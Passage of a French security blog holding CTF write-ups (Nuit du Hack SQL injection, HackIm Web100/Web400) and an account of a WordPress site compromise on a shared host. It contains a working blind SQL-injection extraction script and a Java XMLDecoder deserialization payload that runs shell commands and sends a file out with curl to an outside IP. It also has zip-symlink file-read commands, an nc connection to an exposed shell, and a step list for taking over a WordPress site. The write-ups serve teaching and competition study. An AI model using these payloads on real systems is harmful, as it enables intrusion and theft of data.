<p>C'est presque trop beau pour être vrai, et... en effet ça l'est !</p>
<blockquote>
<p>http://spacesec.quals.nuitduhack.com/index.php?offset=1%a0PRoCEDuRE%a0aNaLYSE%0a(eXtractValue%0a(0,1),1)--</p>
</blockquote>
<p><img src="https://www.dailysecurity.fr/images/SpaceSec_Error1108-1.png" alt="Error1108" style="width: 60%;"></p>
<p>La page ne nous ressort que le numéro de l'erreur...</p>
<p>Alors, que faire pour contourner ce problème?</p>
<p>Eh bien, la réponse est simple, il suffit juste de faire une time-based injection !</p>
<p>Et... ça ne fonctionne pas, l'auteur du challenge à décidé de bloquer les fonctions sleep et benchmark...</p>
<p>Qu'à cela ne tienne, on passe donc par des heavy query !</p>
<p>On récupère plein de fois information_schema pour faire ramer la page et... information_schema est bloqué aussi ?!</p>
<p><img src="https://www.dailysecurity.fr/images/imdone.gif" alt="Im done" style="width: 50%;"/> </p>
<p>Je décide donc d'aller me coucher sur un échec. Ce fut à la fois une bonne et une mauvaise idée :</p>
<ul>
<li>
<p>J'ai trouvé la réponse dans la nuit</p>
</li>
<li>
<p>Je n'ai pas dormi avant de l'avoir trouvée</p>
</li>
</ul>
<p>De retour le lendemain <s>matin</s> après-midi, je décide de tenter ma trouvaille :</p>
<p>Une SQL injection Boolean Based Into Double Error Based (oui, j'ai inventé le nom, mais ça en jette non?).</p>
<p>J'explique, on va tenter de faire passer une condition dans notre extractvalue, si cette condition est vraie on lui fait faire un convert(9990130101,date), la date étant complétement fausse la fonction plante et retourne NULL, sinon, on retourne 1.</p>
<p>Ce qu'il faut savoir, c'est que la procédure ANALYSE n'aime pas avoir un paramètre à NULL, elle crash donc un message d'<a href="http://dev.mysql.com/doc/refman/5.0/en/error-messages-server.html#error_er_wrong_parameters_to_procedure">erreur 1108</a> qui signifie "Message: Incorrect parameters to procedure '%s'"</p>
<p>En revanche si on lui envoie 1 en premier paramètre elle nous renvoie juste une erreur <a href="http://dev.mysql.com/doc/refman/5.0/en/error-messages-server.html#error_er_unknown_error">1105</a> : "Message: Unknown error"</p>
<p>On peut tester avec:</p>
<blockquote>
<p>http://spacesec.quals.nuitduhack.com/index.php?offset=1 PRoCEDuRE aNaLYSE ( (selEct exTractvalue (rAnd (),coNcat (0x3a, (case when (substring(1,1,1)=1) then convert(9990130101,date) else 1 end)))),1)--</p>
</blockquote>
<p>J'ai remplacé les %0a par des espaces pour un souci de compréhension.</p>
<p><img src="https://www.dailysecurity.fr/images/SpaceSec_Error1108-1.png" alt="Error1108" style="width: 60%;"></p>
<blockquote>
<p>http://spacesec.quals.nuitduhack.com/index.php?offset=1 PRoCEDuRE aNaLYSE ( (selEct exTractvalue (rAnd (),coNcat (0x3a, (case when (substring(1,1,1)!=1) then convert(9990130101,date) else 1 end)))),1)--</p>
</blockquote>
<p><img src="https://www.dailysecurity.fr/images/SpaceSec_Error1105.png" alt="Error1105" style="width: 60%;"></p>
<p>A partir de là on peut tout simplement récupérer le mot de passe de l'utilisateur Flag dans la base de données.</p>
<p>Je vous épargne le temps afin de trouver la bonne table avec les bonnes colonnes (totalement au hasard).</p>
<p>Au final, on trouve une table users avec les colonnes id, username et password.</p>
<p>Ni une, ni deux, on code un petit script qui récupère tout ça.</p>
<p>Ayant une petite dent contre la programmation, je vous présente mon modeste script qui n'est pas optimisé mais qui fait le taf' :</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python2</span>
<span class="c1"># -*- coding: utf8 -*-</span>
<span class="kn">import</span> <span class="nn">requests</span><span class="o">,</span><span class="nn">time</span>
<span class="n">cookie</span> <span class="o">=</span> <span class="p">{</span><span class="s1">'PHPSESSID'</span> <span class="p">:</span> <span class="s1">'cl4r4m0rg4ne1sg00dbUt1pr3f3r3L3xiB3ll3'</span><span class="p">}</span>
<span class="n">passwd</span><span class="o">=</span><span class="s2">""</span>
<span class="n">char</span><span class="o">=</span><span class="mi">48</span>
<span class="n">length</span><span class="o">=</span><span class="nb">len</span><span class="p">(</span><span class="n">passwd</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span>
<span class="k">while</span> <span class="n">char</span><span class="o">!=</span><span class="mi">127</span><span class="p">:</span>
<span class="n">forge</span><span class="o">=</span><span class="s2">"http://spacesec.quals.nuitduhack.com/index.php?offset=1</span><span class="si">%a</span><span class="s2">0PRoCEDuRE</span><span class="si">%a</span><span class="s2">0aNaLYSE</span><span class="si">%0a</span><span class="s2">(</span><span class="si">%0a</span><span class="s2">(selEct</span><span class="si">%0a</span><span class="s2">exTractvalue</span><span class="si">%0a</span><span class="s2">(rAnd</span><span class="si">%0a</span><span class="s2">(),coNcat</span><span class="si">%0a</span><span class="s2">(0x3a,</span><span class="si">%0a</span><span class="s2">(case</span><span class="si">%0a</span><span class="s2">when</span><span class="si">%0a</span><span class="s2">(substring(</span><span class="si">%0a</span><span class="s2">(selEct</span><span class="si">%0a</span><span class="s2">password</span><span class="si">%0a</span><span class="s2">fRom</span><span class="si">%0a</span><span class="s2">users</span><span class="si">%0a</span><span class="s2">wHere</span><span class="si">%0a</span><span class="s2">username</span><span class="si">%0a</span><span class="s2">liKe</span><span class="si">%0a</span><span class="s2">0x464c4147),"</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">length</span><span class="p">)</span><span class="o">+</span><span class="s2">",1)=char("</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">char</span><span class="p">)</span><span class="o">+</span><span class="s2">"))</span><span class="si">%0a</span><span class="s2">then</span><span class="si">%0a</span><span class="s2">convert(9990130101,date)</span><span class="si">%0a</span><span class="s2">else</span><span class="si">%0a</span><span class="s2">1</span><span class="si">%0a</span><span class="s2">end)))),1)--"</span>
<span class="n">resultat</span><span class="o">=</span><span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">forge</span><span class="p">,</span><span class="n">cookies</span><span class="o">=</span><span class="n">cookie</span><span class="p">)</span><span class="o">.</span><span class="n">content</span>
<span class="nb">print</span> <span class="n">forge</span>
<span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.5</span><span class="p">)</span>
<span class="k">if</span> <span class="n">resultat</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s1">'1108'</span><span class="p">)</span><span class="o">!=-</span><span class="mi">1</span> <span class="p">:</span>
<span class="n">passwd</span><span class="o">+=</span><span class="nb">str</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">char</span><span class="p">))</span>
<span class="n">char</span><span class="o">=</span><span class="mi">47</span>
<span class="n">length</span><span class="o">+=</span><span class="mi">1</span>
<span class="nb">print</span> <span class="n">passwd</span>
<span class="n">char</span><span class="o">+=</span><span class="mi">1</span>
<span class="nb">print</span> <span class="s2">"[+] Le password est: "</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">passwd</span><span class="p">)</span>
</code></pre></div>
<p>On obtient un mot de passe qui ressemble à un hash de 128 caractères en majuscule.</p>
<p>La partie rigolote de l'histoire est que j'ai cherché pendant une bonne demi-heure quoi en faire et au final Mastho, un membre de mon équipe, l'a valider en 5 secondes en m'expliquant qu'il avait juste mis le hash en minuscule...</p>
<p>En définitive, une épreuve bien marrante avec des protections assez funs.</p>
<p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p>
<p>Geluchat.</p>HackIm 2016 - Web100 / Web400 - Write-Up2016-02-03T15:06:00+01:002016-02-03T15:06:00+01:00Geluchattag:www.dailysecurity.fr,2016-02-03:/write-up-hackim-web100-web400<p>J'ai dernièrement participé avec mon équipe au HackIm, un CTF organisé par la <a href="http://nullcon.net">NullCon</a>.</p>
<p>Malgré une organisation catastrophique ainsi que des épreuves de type "devinette", ce CTF nous a proposé des challenges très intéressants dans les catégories Web et Exploitation.</p>
<p>Voici donc un write-up de deux épreuves web que j'ai …</p><p>J'ai dernièrement participé avec mon équipe au HackIm, un CTF organisé par la <a href="http://nullcon.net">NullCon</a>.</p>
<p>Malgré une organisation catastrophique ainsi que des épreuves de type "devinette", ce CTF nous a proposé des challenges très intéressants dans les catégories Web et Exploitation.</p>
<p>Voici donc un write-up de deux épreuves web que j'ai trouvées enrichissantes.</p>
<h3>Web 100 - SignServer 100 pts</h3>
<blockquote>
<p>Document signature is so hot right now! SignServer provides you with
the most advanced solution to sign and verify your documents. We
support any document types and provide you with a unique, ultra-secure
signature.
http://54.174.72.79:9000</p>
</blockquote>
<p>Arrivé à l'adresse indiquée nous avons accès à deux services, l'un qui nous permet de signer et l'autre de vérifier une signature.</p>
<p>En envoyant un fichier au hasard (on évite celui qui contient nos mots de passe), on obtient:</p>
<div class="highlight"><pre><span></span><code><span class="nt"><java</span> <span class="na">version=</span><span class="s">"1.8.0_72-internal"</span> <span class="na">class=</span><span class="s">"java.beans.XMLDecoder"</span><span class="nt">></span>
<span class="nt"><object</span> <span class="na">class=</span><span class="s">"models.CTFSignature"</span> <span class="na">id=</span><span class="s">"CTFSignature0"</span><span class="nt">></span>
<span class="nt"><void</span> <span class="na">class=</span><span class="s">"models.CTFSignature"</span> <span class="na">method=</span><span class="s">"getField"</span><span class="nt">></span>
<span class="nt"><string></span>hash<span class="nt"></string></span>
<span class="nt"><void</span> <span class="na">method=</span><span class="s">"set"</span><span class="nt">></span>
<span class="nt"><object</span> <span class="na">idref=</span><span class="s">"CTFSignature0"</span> <span class="nt">/></span>
<span class="nt"><string></span>86f7e437faa5a7fce15d1ddcb9eaeaea377667b8<span class="nt"></string></span>
<span class="nt"></void></span>
<span class="nt"></void></span>
<span class="nt"><void</span> <span class="na">class=</span><span class="s">"models.CTFSignature"</span> <span class="na">method=</span><span class="s">"getField"</span><span class="nt">></span>
<span class="nt"><string></span>sig<span class="nt"></string></span>
<span class="nt"><void</span> <span class="na">method=</span><span class="s">"set"</span><span class="nt">></span>
<span class="nt"><object</span> <span class="na">idref=</span><span class="s">"CTFSignature0"</span> <span class="nt">/></span>
<span class="nt"><string></span>902d4de8fb705154a1a0107c227b9d510523fa17<span class="nt"></string></span>
<span class="nt"></void></span>
<span class="nt"></void></span>
<span class="nt"></object></span>
<span class="nt"></java></span>
</code></pre></div>
<p>On peut voir que l'objet a été sérialisé en XML et passe dans la moulinette "XML Decoder".</p>
<p>Après quelques recherches sur cette méthode, <a href="https://github.com/o2platform/DefCon_RESTing/tree/master/Demo /_O2_Scripts/XmlEncoder%20-%20Restlet/exploits">on apprend</a> qu'elle peut prendre plusieurs objets en même temps.</p>
<p>La méthode ProcessBuilder sur package java.lang nous permet de faire appel à des commandes systèmes.</p>
<p>On envoie donc avec l'option signature cochée :</p>
<div class="highlight"><pre><span></span><code><span class="nt"><java</span> <span class="na">version=</span><span class="s">"1.8.0_72-internal"</span> <span class="na">class=</span><span class="s">"java.beans.XMLDecoder"</span><span class="nt">></span>
<span class="nt"><object</span> <span class="na">class=</span><span class="s">"models.CTFSignature"</span> <span class="na">id=</span><span class="s">"CTFSignature0"</span><span class="nt">></span>
<span class="nt"><void</span> <span class="na">class=</span><span class="s">"models.CTFSignature"</span> <span class="na">method=</span><span class="s">"getField"</span><span class="nt">></span>
<span class="nt"><string></span>hash<span class="nt"></string></span>
<span class="nt"><void</span> <span class="na">method=</span><span class="s">"set"</span><span class="nt">></span>
<span class="nt"><object</span> <span class="na">idref=</span><span class="s">"CTFSignature0"</span> <span class="nt">/></span>
<span class="nt"><string></span>86f7e437faa5a7fce15d1ddcb9eaeaea377667b8<span class="nt"></string></span>
<span class="nt"></void></span>
<span class="nt"></void></span>
<span class="nt"><void</span> <span class="na">class=</span><span class="s">"models.CTFSignature"</span> <span class="na">method=</span><span class="s">"getField"</span><span class="nt">></span>
<span class="nt"><string></span>sig<span class="nt"></string></span>
<span class="nt"><void</span> <span class="na">method=</span><span class="s">"set"</span><span class="nt">></span>
<span class="nt"><object</span> <span class="na">idref=</span><span class="s">"CTFSignature0"</span> <span class="nt">/></span>
<span class="nt"><string></span>902d4de8fb705154a1a0107c227b9d510523fa17<span class="nt"></string></span>
<span class="nt"></void></span>
<span class="nt"></void></span>
<span class="nt"></object></span>
<span class="nt"><object</span> <span class="na">class=</span><span class="s">"java.lang.ProcessBuilder"</span><span class="nt">></span>
<span class="nt"><array</span> <span class="na">class=</span><span class="s">"java.lang.String"</span> <span class="na">length=</span><span class="s">"3"</span> <span class="nt">></span>
<span class="nt"><void</span> <span class="na">index=</span><span class="s">"0"</span><span class="nt">></span>
<span class="nt"><string></span>/bin/sh<span class="nt"></string></span>
<span class="nt"></void></span>
<span class="nt"><void</span> <span class="na">index=</span><span class="s">"1"</span><span class="nt">></span>
<span class="nt"><string></span>-c<span class="nt"></string></span>
<span class="nt"></void></span>
<span class="nt"><void</span> <span class="na">index=</span><span class="s">"2"</span><span class="nt">></span>
<span class="nt"><string></span>/bin/cat flag | /usr/bin/tee /tmp/res;/usr/bin/curl 195.154.70.52:4444/1 --data "@/tmp/res"<span class="nt"></string></span>
<span class="nt"></void></span>
<span class="nt"></array></span>
<span class="nt"><void</span> <span class="na">method=</span><span class="s">"start"</span><span class="nt">/></span>
<span class="nt"></object></span>
<span class="nt"></java></span>
</code></pre></div>
<p>En essayant de créer des commandes j'ai rencontré un problème avec les redirections ('\<','>'), c'est pourquoi ma commande pour extraire le flag est plus complexe qu'un simple reverse shell.</p>
<div class="highlight"><pre><span></span><code><span class="go">nc -lvp 4444</span>
<span class="go">listening on [any] 4444 ...</span>
<span class="go">connect to [195.154.70.52] from ec2...</span>
<span class="go">flag{ser1l1azati0n_in_CTF_is_fUN}</span>
</code></pre></div>
<h3>Web 400 - smashthestate 400 pts</h3>
<blockquote>
<p>This beautiful website for testing zip files contains a replica of a
vulnerability found in a well known bug bounty site. Log in with
rob:smashthestate then exploit the vulnerability to gain access to the
'admin' account and the flag. Automated tools and bruteforcing will
not help you solve this challenge.
http://54.152.101.3</p>
</blockquote>
<p>En arrivant sur le challenge, on voit un formulaire de connexion ainsi qu'une page qui nous propose de générer un code envoyé par email à l'administrateur.</p>
<p>Après connexion avec l'utilisateur indiqué rob:smashthestate, on se trouve face à un formulaire d'upload qui prend une archive zip.</p>
<p>On envoie donc un fichier zipé au hasard et on observe que le fichier a été dezippé puis affiché.</p>
<p>Les archives zip sont connues pour être faillibles aux attaques par symlink, on peut donc récupérer le code source de la page :</p>
<div class="highlight"><pre><span></span><code><span class="go">ln -s /var/www/html/index.php link</span>
<span class="go">zip –symlinks test.zip link</span>
</code></pre></div>
<p>Ce qui donne:</p>
<div class="highlight"><pre><span></span><code><span class="nv">$FAKE_DATABASE</span> <span class="o">=</span> <span class="k">array</span> <span class="p">(</span>
<span class="s2">"rob"</span> <span class="o">=></span> <span class="s2">"60df0ab1a78fd0d95a4cfa4b0854931b"</span><span class="p">,</span> <span class="c1">// smashthestate</span>
<span class="s2">"admin"</span> <span class="o">=></span> <span class="s2">"8e11a50ef762f924d7af9995889873e4"</span><span class="p">,</span>
<span class="p">);</span>
<span class="nv">$page</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'page'</span><span class="p">];</span>
<span class="k">switch</span> <span class="p">(</span><span class="nv">$page</span><span class="p">)</span> <span class="p">{</span>
<span class="k">case</span> <span class="s2">"login"</span><span class="o">:</span>
<span class="k">echo</span> <span class="s2">"trying to log in"</span><span class="p">;</span>
<span class="nv">$user</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'user'</span><span class="p">];</span>
<span class="nv">$pass</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'pass'</span><span class="p">];</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$FAKE_DATABASE</span><span class="p">[</span><span class="nv">$user</span><span class="p">]</span> <span class="o">===</span> <span class="nb">md5</span><span class="p">(</span><span class="nv">$pass</span><span class="p">))</span> <span class="p">{</span>
<span class="nb">session_start</span><span class="p">();</span>
<span class="nb">session_regenerate_id</span><span class="p">(</span><span class="k">True</span><span class="p">);</span>
<span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'user'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$user</span><span class="p">;</span>
<span class="nb">header</span><span class="p">(</span><span class="s2">"Location: ?page=upload"</span><span class="p">);</span>
<span class="k">die</span><span class="p">();</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="nb">header</span><span class="p">(</span><span class="s2">"Location: ?"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="s2">"admin_login_help"</span><span class="o">:</span>
<span class="nb">session_start</span><span class="p">();</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'login_code'</span><span class="p">])</span> <span class="p">){</span>
<span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'login_code'</span><span class="p">]</span> <span class="o">=</span> <span class="nb">bin2hex</span><span class="p">(</span><span class="nb">openssl_random_pseudo_bytes</span><span class="p">(</span><span class="mi">18</span><span class="p">));</span>
<span class="k">echo</span> <span class="s2">"A login code has been emailed to the administrator. Once you have recieved it, please click here</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="k">echo</span> <span class="s2">"There is already an active login code for this session"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="s2">"code_submit"</span><span class="o">:</span>
<span class="nb">session_start</span><span class="p">();</span>
<span class="nv">$code</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'code'</span><span class="p">];</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$code</span><span class="p">)</span> <span class="o">&&</span> <span class="nb">isset</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'login_code'</span><span class="p">]))</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$code</span> <span class="o">===</span> <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'login_code'</span><span class="p">]</span> <span class="p">){</span>
<span class="k">echo</span> <span class="s2">"Flag: "</span><span class="p">;</span>
<span class="nb">passthru</span><span class="p">(</span><span class="s2">"sudo /bin/cat /var/www/html/flag"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="k">echo</span> <span class="s2">"Invalid code"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="k">echo</span> <span class="s2">"Please input the login code:"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="s2">"upload"</span><span class="o">:</span>
<span class="nb">session_start</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'user'</span><span class="p">]))</span> <span class="p">{</span>
<span class="nb">header</span><span class="p">(</span><span class="s2">"Location: ?"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="k">echo</span> <span class="s2">"Welcome "</span><span class="o">.</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'user'</span><span class="p">]</span> <span class="o">.</span><span class="s2">" Logout"</span><span class="p">;</span>
<span class="k">echo</span> <span class="s2">"Use this form to verify zip integrity"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="s2">"process_upload"</span><span class="o">:</span>
<span class="nb">session_start</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'user'</span><span class="p">])</span> <span class="o">&&</span> <span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'zipfile'</span><span class="p">][</span><span class="s1">'name'</span><span class="p">])</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'zipfile'</span><span class="p">][</span><span class="s1">'size'</span><span class="p">]</span> <span class="o">></span> <span class="mi">16000</span><span class="p">)</span> <span class="p">{</span>
<span class="k">echo</span> <span class="s2">"File above max size of 10kb"</span><span class="p">;</span>
<span class="k">echo</span> <span class="s2">"back"</span><span class="p">;</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$tmp_file</span> <span class="o">=</span> <span class="s1">'/var/www/html/tmp/upload_'</span><span class="o">.</span><span class="nb">session_id</span><span class="p">();</span>
<span class="c1"># ZipArchive may not be available</span>
<span class="c1"># $zip = new ZipArchive;</span>
<span class="c1"># $zip->open($_FILES['zipfile']['name']);</span>
<span class="c1"># $zip->extractTo($tmp_file);</span>
<span class="nb">exec</span><span class="p">(</span><span class="s1">'unzip -o '</span><span class="o">.</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'zipfile'</span><span class="p">][</span><span class="s1">'tmp_name'</span><span class="p">]</span><span class="o">.</span> <span class="s1">' -d '</span><span class="o">.</span><span class="nv">$tmp_file</span><span class="p">);</span>
<span class="k">echo</span> <span class="s2">"Zip contents: "</span><span class="p">;</span>
<span class="nb">passthru</span><span class="p">(</span><span class="s2">"cat </span><span class="si">$tmp_file</span><span class="s2">/* 2>&1"</span><span class="p">);</span>
<span class="nb">exec</span><span class="p">(</span><span class="s2">"rm -rf </span><span class="si">$tmp_file</span><span class="s2">"</span><span class="p">);</span>
<span class="k">echo</span> <span class="s2">"back"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">default</span><span class="o">:</span>
<span class="k">echo</span> <span class="s2">"<html><form action='?page=login' method='POST'>Username: <input name='user'/><br/>Password: <input type='password' name='pass'/><br/><input type='submit' value='Log in'/></form><a href='?page=admin_login_help'>Admin login help</a></html>"</span><span class="p">;</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>Dans la page, le flag est affiché si notre code généré correspond à la bonne valeur.</p>
<p>Grâce à la faille précédente on récupère notre cookie de session via les commandes :</p>
<div class="highlight"><pre><span></span><code><span class="go">ln -s /var/lib/php5/sess_71kl18mrbua52acd91jceqmrs4 link</span>
<span class="go">zip –-symlinks test.zip link</span>
</code></pre></div>
<p>Une fois le code affiché il ne reste plus qu'à le mettre dans le formulaire de validation qui nous donne le flag :</p>
<div class="highlight"><pre><span></span><code><span class="go">Flag: 8e11a50ef762f924d7af9995889873e4</span>
</code></pre></div>
<p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p>
<p>Geluchat.</p>Comment pirater un WordPress, ou pas...2015-05-12T13:04:00+02:002015-05-12T13:04:00+02:00Geluchattag:www.dailysecurity.fr,2015-05-12:/comment-pirater-un-wordpress<p>Je ne sais pas si vous l'avez remarqué, mais il y a une semaine mon site était indisponible en raison d'une maintenance.</p>
<p>Tout a débuté le 1er Mai, je me rends comme chaque jour sur mon site pour les mises à jour quotidiennes et c'est alors qu'apparaît une belle deface …</p><p>Je ne sais pas si vous l'avez remarqué, mais il y a une semaine mon site était indisponible en raison d'une maintenance.</p>
<p>Tout a débuté le 1er Mai, je me rends comme chaque jour sur mon site pour les mises à jour quotidiennes et c'est alors qu'apparaît une belle deface (modification de la page d'accueil du site) faite par un groupe de h4x0r avec un message dans un anglais approximatif "Ure security is bad, go patch, blabla" ainsi qu'une petite mention disant que payer un hébergeur ne veut pas dire que l'on est en sécurité.</p>
<p>Sur le coup, j'imagine que l'un de mes plugins n'a pas été mis à jour et j'accuse le coup en me disant qu'après tout, ce n'est qu'un Wordpress.</p>
<p>Après une analyse un peu plus approfondie des logs j'en viens à une conclusion étrange : il semblerait qu'ils se soient tous simplement connectés avec mon compte administrateur.</p>
<p>Hop, je lance un scan antivirus sur mon PC, rien n'est détecté, même pas le moindre logiciel espion, pas un faux positif, rien.</p>
<p>J'en viens à penser que c'est peut-être une 0day mais le souvenir de la tête de mort sur la deface ainsi que les pseudos du type xXxD4rkAng3lxXx me rappellent vite que la faille ne doit pas être bien compliquée.</p>
<p>Je reçois plusieurs messages via IRC et Skype, un de mes amis m'a même conseillé en rigolant de lancer un armitage auto_pwn, je décide de rester plus calme en lançant un scan Nikto classique ainsi qu'une analyse des plugins Wordpress, peut être que quelque chose m'aurait échappé ...</p>
<p>C'est alors qu'une personne fort sympathique m'a contacté sur IRC pour me souhaiter bonne chance pour la remise en place de mon site. En discutant avec celle-ci, j'apprends que le port 31337 est ouvert sur le serveur qui m'héberge.</p>
<p>J'en viens alors à deux hypothèses remplies de questions :</p>
<ol>
<li>Ce shell vient-il de mon site?</li>
<li>S'il n'est pas à moi que fait-il là ? Et quels sont ses droits sur le serveur ?</li>
</ol>
<p>Afin de satisfaire ma curiosité je décide de m'y connecter, sachant que mon hébergeur mutualisé est lié au domaine snip.snap (ce n'est pas le domaine réel), je lance un petit :</p>
<div class="highlight"><pre><span></span><code><span class="gp">$ </span>nc snip.snap <span class="m">31337</span>.
</code></pre></div>
<p>Je vérifie l'id, il correspond au compte "touspour".</p>
<p><img alt="Command id Pulseheberg" src="https://www.dailysecurity.fr/images/id.png"></p>
<p>Et là, descente en enfer, encore une fois les mêmes questions : "Quels sont ses droits sur le serveur ? Que fait-il là ?".</p>
<p>Pour la deuxième question il faudra que je demande au support de mon hébergeur, je décide donc de chercher la réponse à la première question.</p>
<h2>Quels sont ses droits sur le serveur?</h2>
<p>Quelques commandes me permettent de voir que je ne suis de toute évidence pas doté de droits root, ouf.</p>
<p>Grâce à un affichage de /etc/passwd je vois qu'un compte est créé pour chaque nouvel utilisateur.</p>
<p>Niveau sécurité, ça n'a pas l'air au top niveau mais au moins je ne peux pas me déplacer dans les dossiers des autres personnes.</p>
<p>Enfin, ça, c'était avant le drame ...</p>
<p>Toujours dans le but final de découvrir comment mon site a pu être piraté par notre chère Dr34mT34m, je lance à tout hasard un listing des répertoires via le shell sur mon répertoire à priori privé :</p>
<p><img alt="Listing directory dailysecurity" src="https://www.dailysecurity.fr/images/listing.png"></p>
<p>Et là, horreur, on ne peut pas se déplacer dans les répertoires mais on peut les lister.</p>
<p>Je rentre la commande :</p>
<div class="highlight"><pre><span></span><code><span class="gp">$ </span>cat /home/dailysec/public_html/wp-config.php
</code></pre></div>
<p>Des gouttes de sueurs commencent à perler sur mon front quand je vois apparaître :</p>
<p><img alt="Base de données Wordpress" src="https://www.dailysecurity.fr/images/bdd.png"></p>
<p>A partir de ce moment, je choisis de me connecter sur le port 3306
(MySQL) et un beau OPEN se peint devant mes yeux.</p>
<p>L'attaque devient alors claire:</p>
<ul>
<li>On se connecte sur le port 31337</li>
<li>On récupère les logins MySQL</li>
<li>On se connecte et on modifie le mot de passe administrateur WordPress</li>
<li>On peut upload un shell dans les templates ou juste via l'upload</li>
<li>Enjoy your shell ...</li>
</ul>
<h2>Que fait-il là?</h2>
<p>Bonne question, pour y répondre j'ai dû batailler avec le support de Pulseheberg qui m'a envoyé balader :</p>
<p><img alt="Message PulseHeberg" src="https://www.dailysecurity.fr/images/message.png"></p>
<p>Etant une personne très patiente et dotée d'un sens du sarcasme assez poussé, je lui ai bien sûr répondu :</p>
<blockquote>
<p>"Étonnamment quand je fais un 'nc snip.snap 31337' j'obtiens un shell
console.
Vos audits de sécurités sont-ils sélectifs dans le genre "on laisse
le port 31337 ouvert, ça fait classe" ?
Je dis bien sûr tout ça avec le plus grand des humours mais ça me
reste tout de même en travers de la gorge ..."</p>
</blockquote>
<p>Le tout accompagné des screenshots présents dans l'article.</p>
<p>Ma réponse n'a pas dû plaire au "Développeur en chef" puisque c'est une autre personne qui m'a répondu que la faille était "patchée" et "bloquée niveau firewall".</p>
<p>Je cherche à en savoir plus sur l'origine de ce shell et j'obtiens une réponse pour le moins originale :</p>
<blockquote>
<p>"Le port avait été ouvert lors d'une très ancienne intervention et
n'avait pas été fermé correctement."</p>
</blockquote>
<p>De toute évidence ma réponse au "Développeur en chef" avait tapé dans le mille : les pseudos audits de sécurité quotidiens n'avaient pas vu le port 31337 ouvert.</p>
<p>Pire, le firewall semblait être un firewall à DROP.</p>
<p>Pour ceux qui ne connaissent pas les firewalls à DROP sachez que cela correspond grossièrement à ajouter des règles interdisant d'ouvrir tel ou tel port, ce qui n'est absolument pas sécurisé.</p>
<h2>Retour d'expérience chez PulseHeberg</h2>
<p>Avant d'en venir à des conclusions hâtives, je souhaiterais vous éclairer sur les points essentiels de mon ressenti sur "l'expérience Pulseheberg".</p>
<p>Lors de mon inscription, j'ai commandé un VPS afin de gérer moi-même la sécurité du serveur.</p>
<p>La livraison s'est déroulée sans encombre. Par contre, mes 8 Go de RAM allouée ne semblaient pas correspondre au résultat fourni par la commande "free" qui m'indiquait 8To.</p>
<p>J'ai appris plus tard qu'ils avaient mal configuré la VM.</p>
<p>Je me demande ce que cela aurait fait si j'avais mis à profit ces 8To, sûrement une coupure générale de toutes les VM du parc.</p>
<p>Au bout d'un mois, le serveur ne répondait plus, même via ssh, en tant "qu'administrateur de VPS du weekend" et avec ma confiance en moi légendaire, j'ai pensé à une erreur de ma part, personne n'est infaillible.</p>
<p>J'ai donc totalement réinstallé le serveur et le problème a persisté. Après trois tickets au support, il m'a semblé que le problème les dépassait.</p>
